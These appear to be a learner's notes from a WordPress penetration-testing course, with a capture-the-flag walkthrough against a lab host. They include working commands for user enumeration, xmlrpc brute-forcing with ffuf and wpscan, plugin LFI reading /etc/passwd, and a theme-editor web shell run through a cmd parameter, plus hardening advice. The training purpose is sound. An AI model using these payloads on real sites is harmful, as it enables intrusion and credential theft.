wordpress is the most popular open source CMS and powers nealry one-third of all websites in the world
can be used for things like hosting blogs, forums, e-commerce, project management, document management and much more
customizability and extensible nature make it prone to vulnerabilities through third-party themes and plugins
written in PHP and usually runs on Apache with MySQL as backend
a CMS is a powerful tool that helps build a website without needing to code everything from scratch
can edit sites as if working in a word processor and users can upload media directly from a media library interface instead of interacting with the webserver either through a management portal or via FTP or SFTP
a CMS is made up of two key components
- a content management application (CMA) = interface used to add and manage content
- content delivery application (CDA) = backend that takes the input entered into the CMA and assembles the code into a working site
wordpress can be installed on windows, linux, or mac but we will focus on ubuntu linux web server
requires a fully installed and configured LAMP stack (linux, apache http server, mysql db, and PHP)
after installation all supporting files and directories will be accessible in the webroot located in /var/www/html
can view the directory structure of a default WordPress install showing the key files and subdirectories necessary for the site to function:
tree -L 1 /var/www/html
some of the files needed to configure wordpress to function properly are:
index.php
homepage of wordpresslicense.txt
contains useful info such as version of wordpress installedwp-activate.php
used for email activation process when setting up a new wordpress sitewp-admin
folder contains the login page for admin access and the backend dashboard. Once a user is logged in they can make changes to the site based on their assigned permissions. Login page can be located in:/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
the login file can also be renamed which will make it more difficult to find the login page
xmlrpc.php
is a file representing a feature that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism, this type of communication can be replaced by the wordpress REST API
wp-config.php
file contains info required by wordpress to connect to the database like the database name, database host, username and password, authentication keys and salts, and database table prefix
can also be used to activate DEBUG mode which is useful for troubleshooting
wp-content
folder is the main directory where plugins and themes are stored
uploads
is usually where any files uploaded to the platform are stored
these files and directores could contain sensitive into that could lead to RCE or exploitation of other vulnerabilities or misconfigs
tree -L 1 /var/www/html/wp-content
wp-includes
contains everything except for the admin components and the themes that belong to the site
core files are stored here such as certificates, fonts, JS, and widgets
tree -L 1 /var/www/html/wp-includes
there are five types of users in standard wordpress installation:
Administrator
- the user has access to admin features within the site, this includes adding and deleting users and posts as well as editing source codeEditor
- can publish and manage posts, including the posts of other usersAuthor
- can publish and manage their own postsContributor
- can write and manage their own posts but cannot publish themSubscriber
- normal users who can browse posts and edit their profiles
gaining admin access is usually needed to obtain code execution on the server but editors and authors might have access to certain vulnerable plugins that normal users dont
important part of the enumeration phase is finding the software version number
this can be helpful for looking for common misconfigs like default passwords for certain versions of an app and searching for known vulnerabilities for a particular version number
many ways to find the version number, first and easiest way is the look at the page source code; we can do this simply by right clicking and looking at the source
we can search for the meta generator
tag either with ctrl+F or make a curl request with grep
<link rel='https://api.w.org/' href='http://blog.inlanefreight.com/index.php/wp-json/' />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://blog.inlanefreight.com/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://blog.inlanefreight.com/wp-includes/wlwmanifest.xml" />
<meta name="generator" content="WordPress 5.3.3" />
curl -s -X GET http://blog.inlanefreight.com | grep '<meta name=generator"'
the source code may also contain comments that may be useful
links to CSS and JS can also provide hints about the version number
<link rel='stylesheet' id='bootstrap-css' href='http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/bootstrap.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='transportex-style-css' href='http://blog.inlanefreight.com/wp-content/themes/ben_theme/style.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='transportex_color-css' href='http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/colors/default.css?ver=5.3.3' type='text/css' media='all' />
<link rel='stylesheet' id='smartmenus-css' href='http://blog.inlanefreight.com/wp-content/themes/ben_theme/css/jquery.smartmenus.bootstrap.css?ver=5.3.3' type='text/css' media='all' />
<script type='text/javascript' src='http://blog.inlanefreight.com/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp'></script>
<script type='text/javascript' src='http://blog.inlanefreight.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1'></script>
<script type='text/javascript' src='http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/subscriber.js?ver=5.3.3'></script>
<script type='text/javascript' src='http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/jquery.validationEngine-en.js?ver=5.3.3'></script>
<script type='text/javascript' src='http://blog.inlanefreight.com/wp-content/plugins/mail-masta/lib/jquery.validationEngine.js?ver=5.3.3'></script>
in older versions of wordpress another way to find the version info is in the readme.html
file in the root directory
can also find info about the installed plugins by looking at the source code or curl+grep
curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2
curl -s -X GET http://blog.inlanefreight.com | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
the response headers may also contain version numbers for specific plugins
not all installed plugins and themes can be discovered passively, and we will need to send requests to the server actively to enumerate them
we can send GET requests that point to a directory or file that may exist on the server; if it does exist then we can gain access to it or receive a redirect indicating that the content does exist but we will not have direct access to it
curl -I -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta
curl -I -X GET http://blog.inlanefreight.com/wp-content/plugins/someplugin
to speed up enumeration we could also write a bash script or use a tool like wfuzz or WPScan
active plugins should not be our only focus because even deactivated plugins may still be accessible which would give us access to its associated scripts and functions
deactivating a vulnerable plugin does not improve security and it is best practice to either remove them or keep them up to date
if we have a disabled plugin:
we can still have access to it by browsing to the plugins directory:
we can also view the directory listing using a curl command and convert the HTML output to a readable format with html2text:
curl -s -X GET http://blog.inlanefreight.com/wp-content/plugins/mail-masta/ | html2text
this is called directory indexing and allows us to navigate the folder and access files that may contain sensitive info or vulnerable code
best practice to disable directory indexing on web servers so potential attackers can't gain direct access to any files or folders other than those necessary for the site to function properly
we can start enumeration by sending a curl request to the page and then looking for any plugins or themes:
looking through each of these plugin folders you can enumerate and find the flag file:
a critical phase of wordpress security assessments is enumerating a list of valid users
with this list we might be able to guess default credentials or perform a brute force password attack
if successful we might be able to login as an author or even an admin which can be leveraged to modify the site or interact with the underlying web server
there are two methods for performing manual username enumeration
we can review posts to uncover the ID assigned to the user and their corresponding username
if you hover over the link to the post author you can see the link to the user's account:
admins user IDs are usually 1
and we can confirm this by using the user ID for the author
parameter in the url:
http://blog.inlanefrieight.com/?author=1
if we use the following curl command we can look for the Location
header to verify that the user ID does belong to a user
curl -s -I -X GET http://blog.inlanefreight.com/?author=1
the second method requires an interaction with the JSON endpoint that lets us obtain a list of users
this has changed after wordpress core version 4.7.1 and later versions only show whether a user is configured or not
curl http://blog.inlanefreight.com/wp-json/wp/v2/users | jq
with a valid list of users we can then use a password brute forcing attack to attempt to gain access to the wordpress backend
the attack can be performed via the login page or the xmlrpc.php
page
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>admin</value></param><param><value>CORRECT-PASSWORD</value></param></params></methodCall>" http://blog.inlanefreight.com/xmlrpc.php
if our request contains valid credentials we would see something like:
if not we would see a 403 forbidden:
we can see how many method calls we can use on our target by using the system.listMethods
method:
curl -s -X POST -d "<methodCall><methodName>system.listMethods</methodName></methodCall>" http://blog.inlanefreight.com/xmlrpc.php
wpscan is an automated wordpress scanner and enumeration tool that determines if the themes and plugins used by wordpress are outdated and vulnerable
can be installed with gem install wpscan
there are various enumeration options that can be specified like vulnerable plugins, all plugins, user enumeration, etc.
it can pull vulnerability info from external sources to enhance our scans
we can get an API token from WPVulnDB which is used by wpscan to look for vulnerability and exploit proof of concepts and reports
after creating an account you can supply the token using --api-token
; up to 50 free requests per day
the --enumerate
flag enumerates various components like plugins, themes, and users
by default it will enumerate plugins, themes, users, media, and backups but arguments can be used to restrict enumeration to specific components
can enumerate all plugins with --enumerate ap
default number of threads is 5 but can be changed with -t
wpscan --url http://blog.inlanefreight.com --enumerate --api-token Kffr4fdJzy9qVcTk<SNIP>
remember that wpscan will use various passive and active methods to determine versions and vulnerabilities
with the use of an API key we can see things like if the site uses an older version of wordpress, outdated themes, vulnerable plugins, etc.
we can see that the version of mail masta is vulnerable to SQLi and LFI so lets try to exploit it using the method shown:
we can look at the provided references like in exploit-db to see proof of concepts:
which we can replicate in our app:
curl http://blog.inlanefreight.com/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
wpscan can also bruteforce usernames and passwords, and it uses two kinds of login attacks xmlrpc
and wp-login
wp-login
will try with the normal wordpress login page and xmlrpc
will use the wordpress API to make login attempts through /xmlrpc.php
the xml-rpc
method is preferred because it is faster
wpscan --password-attack xmlrpc -t 20 -U admin, david -P passwords.txt --url http://blog.inlanefreight.com
with admin access to wordpress we can modify the PHP source code to execute system commands
when we login with admin credentials we can get access to the admin panel where we can edit the appearance using the theme editor:
this lets us edit the PHP source code directly but we should choose and inactive theme in order to avoid corrupting the main theme
we can see that the theme is transportex so we can select an unused theme like twenty seventeen:
we can then choose a non-critical theme file like the 404 page to upload a web shell:
then after uploading the file we can send a request to it with our cmd
parameter to execute our commands:
curl -X GET "http://<target>/wp-content/themes/twentyseventeen/404.php?cmd=id"
we can use metasploit framework to obtain a reverse shell automatically but this will require valid credentials for an account that has the rights to create files on the webserver
we can start the console with msfconsole
and use the wp_admin_shell_upload
module which we can search for with search wp_admin
:
the 0
is the ID of the module which we can specify to use:
use 0
each module offers different settings options that we can use to assign specifications to ensure the attack's success:
make sure that the wordpress core and all installed plugins and themes are up to date
some hosting providers will even perform continuous automatic updates of wordpress core
we can also modify the wp-config.php
file to enable auto updates with the following lines:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
only install trusted themes and plugins from the wordpress.org website
routinely audit your site and remove any unused themes and plugins
there are several security plugins that can be used to enhance the site's security
these plugins can be used as a WAF, malware scanner, monitoring, activity auditing, brute force attack prevention, and strong password enforcement
some examples are:
- sucuri security
- security activity auditing
- file integrity monitoring
- remote malware scanning
- blacklist monitoring
- iThemes security
- 2FA
- wordpress salts and security keys
- google recaptcha
- user action logging
- wordfence security
- WAF
- premium version provides real-time firewall rule and malware signature updates
- premium also enables IP blacklisting
users are often targeted because they are seen as the weakest link in an org
some user best practices are:
- disable standard
admin
user and create accounts with difficult to guess usernames - enforce strong passwords
- enable and enforce 2FA
- restrict users access based on the concept of least privilege
- periodically audit user rights and access; remove any unused accounts or revoke access
some configs can increase the overall security posture:
- install a plugin that disallows user enumeration
- limit login attempts to prevent brute forcing
- rename
wp-admin.php
login page or relocate it to make it not accessible to the internet or only accessible by certain IP addresses
you have been contracted to perform an external pen test against the company INLANEFREIGHT that is hosting one of their main public-facing sites on wordpress
enumerate the target thoroughly using skills in this module to find a variety of flags
obtain shell access to webserver to find final flag
we can first try to look for the meta tag with name generator:
curl -s -X GET http://10.129.2.37 | grep '<meta name="generator"'
however this doesn't result in any output so we will have to look through the themes and plugins to get an idea of what version we are working with
unfortunately both curl requests for plugins and themes do not result in any output either:
I then try to do an automated scan with wpscan --enumerate
and my API token but get an error:
the error said that the site isn't even running wordpress so I then noticed that this might not be the target site, and that I should instead focus on some of the links I could see in the source code:
neither of these links I could visit so I then added both of them to my /etc/hosts
file:
this resulted in both becoming viewable:
the normal inlanefreight.local
site appears to just be the same page that I was viewing earlier, but the blog.inlanefreight.local
site appears to be an employee portal:
now I restart my enumeration process and can find the wordpress version with a simple curl request and looking at the meta tags:
using another curl command to look for the themes I can see that the theme in use is twentynineteen
:
curl -s -X GET http://blog.inlanefreight.local | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2
first I send some requests to common directories like wp-content
and wp-admin
:
then I find that the wp-includes
has directory listing enabled:
I also can use another curl command to enumerate individual plugins:
after looking through a few of the plugins and includes directories with simple commands like:
curl -i -s http://blog.inlanefreight.local/wp-content/plugins/email/subscribers/ | html2text
I don't notice any flag files but then immediately in the wp-content/uploads/
directory I can see a flag file:
on the blog page we can see posts that have links to each user which we can see uses the url parameter author
:
for now I actually focus on the erika user because this is the only user I can see other than admin so I first use the xmlrpc.php file to see what methods are available to me:
curl -s -X POST -d "<methodCall><methodName>system.listMethods</methodName></methodCall>" http://blog.inlanefreight.local/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
from this I can see that wp.getUsersBlogs
is available which from the module I know takes in a username and password that I can try to bruteforce:
curl -s -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>erika</value></param><param><value>password</value></param></params></methodCall>" http://blog.inlanefreight.local/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
then I modify this command to work with ffuf and combined with the rockyou.txt file I find a working password and login to the "Erika Jones" profile using the site login form:
ffuf -w /usr/share/wordlists/rockyou.txt:FUZZ -u http://blog.inlanefreight.local/xmlrpc.php -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>erika</value></param><param><value>FUZZ</value></param></params></methodCall>" -fs 403
however, this user is an admin so now I'll have to go back and enumerate more users
first I'll create a list of numbers to use as author IDs:
only IDs 1-3 are valid and I can see that ID 3 is a user named Charlie Wiggins and is not an admin:
Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download
for this I will start with a wpscan to find vulnerabilities with my API token:
wpscan --url http://blog.inlanefreight.local --api-token <my-api-token>
in the email-subscribers
plugin results I can see that there are many vulnerabilities:
when looking up these results I can see that these first vulnerabilities are for file downloads:
so now with a proof of concept from https://cxsecurity.com/issue/WLB-2020080034/ I can try to exploit this vulnerability:
then with curl 'http://blog.inlanefreight.local/wp-admin/admin.php?page=download_report&report=users&status=all'
I can see the flag results
this is also viewable from the previous wpscan results:
for this vulnerability there is a POC on https://www.exploit-db.com/exploits/44340:
then with view-source:http://blog.inlanefreight.local/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
I can see the user:
from the previous steps I am already logged in to the erika account so I navigate to the theme editor and swap to an unused theme:
now I add my shell to an unimportant page like the 404 page:
then using the shell I can use directory traversal to find the flag in the home directory of the erika user:
curl -X GET "http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=ls+-la+../../../../../../../home/erika"